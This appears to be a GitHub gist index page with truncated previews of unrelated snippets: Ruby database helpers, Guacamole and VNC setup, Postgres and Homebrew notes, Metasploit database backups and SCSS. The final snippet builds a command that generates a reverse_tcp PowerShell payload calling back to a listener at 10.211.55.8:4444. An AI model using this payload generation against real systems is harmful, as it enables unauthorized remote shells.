This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| dataset_module do | |
| # User.one_to_one(:auth) | |
| # User.eager_cursor(1000, :auth) do |user| | |
| # user.auth # no additional query | |
| # end | |
| def eager_cursor(rows_per_fetch = 1000, *associations) | |
| cursor = use_cursor(rows_per_fetch: rows_per_fetch) | |
| cursor.each_slice(rows_per_fetch) do |records| | |
| associations.each do |assoc| | |
| refl = model.association_reflection(assoc) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| require 'nokogiri' | |
| @host = "10.211.55.18" | |
| @port = "56139" | |
| @name = "#{@host}:#{@port}" | |
| @guacamole_config = ARGV[0] | |
| def remove_config(root) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add-apt-repository ppa:webupd8team/java | |
| apt-get update | |
| apt-get install libcairo2-dev libjpeg-turbo8-dev libpng12-dev libossp-uuid-dev libfreerdp-dev \ | |
| libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev libvorbis-dev \ | |
| libwebp-dev maven tomcat7 tomcat7-admin oracle-java8-installer | |
| echo "JAVA_HOME=/usr/lib/jvm/java-8-oracle" >> /etc/default/tomcat7 | |
| echo "GUACAMOLE_HOME=/opt/guacamole" >> /etc/default/tomcat7 | |
| git clone git://github.com/glyptodon/guacamole-server.git |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| # gem install awesome_print | |
| require 'awesome_print' | |
| require 'socket' | |
| class VncClient | |
| def initialize(address, port) | |
| ap "initialize client" | |
| @address = address | |
| @port = port |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Assuming you've used home-brew to install and upgrade Postgres, you can perform the following steps. | |
| Stop current Postgres server: | |
| launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist | |
| Initialize a new 9.5 database: | |
| initdb /usr/local/var/postgres9.5 -E utf8 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ==> Installing homebrew/versions/gcc47 | |
| ==> Downloading http://ftpmirror.gnu.org/gcc/gcc-4.7.4/gcc-4.7.4.tar.bz2 | |
| ==> Downloading from http://mirror.tochlab.net/pub/gnu/gcc/gcc-4.7.4/gcc-4.7.4.tar.bz2 | |
| ######################################################################## 100.0% | |
| ==> Downloading https://gcc.gnu.org/bugzilla/attachment.cgi?id=35773 | |
| ######################################################################## 100.0% | |
| ==> Downloading https://raw.githubusercontent.com/Homebrew/patches/7293b7d3/gcc47/patch-10.10.diff | |
| ######################################################################## 100.0% | |
| ==> Patching | |
| patching file gcc/config/darwin.c |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| bzip2 -d -c file.bz2 | PGPASSWORD=pass /opt/metasploit/postgresql/bin/pg_restore -h localhost -U user_name -d db_name -Fc -O |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| PGPASSWORD=pass /opt/metasploit/postgresql/bin/pg_dump -h localhost -U user_name -b -Fc db_name | bzip2 -c > `date +"%Y-%m-%d_%H_%m_%s"`.bz2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pre { | |
| padding: 10px; | |
| &.logs { | |
| height: 300px; | |
| overflow: auto; | |
| } | |
| &.console { | |
| color: #000; | |
| background-color: #FAEBB9; | |
| font-size: 11px; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| home = '/opt/tmps' | |
| python27_bin = %x(which python2.7) # /usr/bin/python2.7 | |
| ip = '10.211.55.8' | |
| port = 4444 | |
| arch = 'x64' | |
| cmd = %x[ #{python27_bin} #{home}/GenerateCmdLine.py -ip #{ip} -arch #{arch} -p #{port} -f #{home}/#{arch}/reverse_tcp.ps1 ] |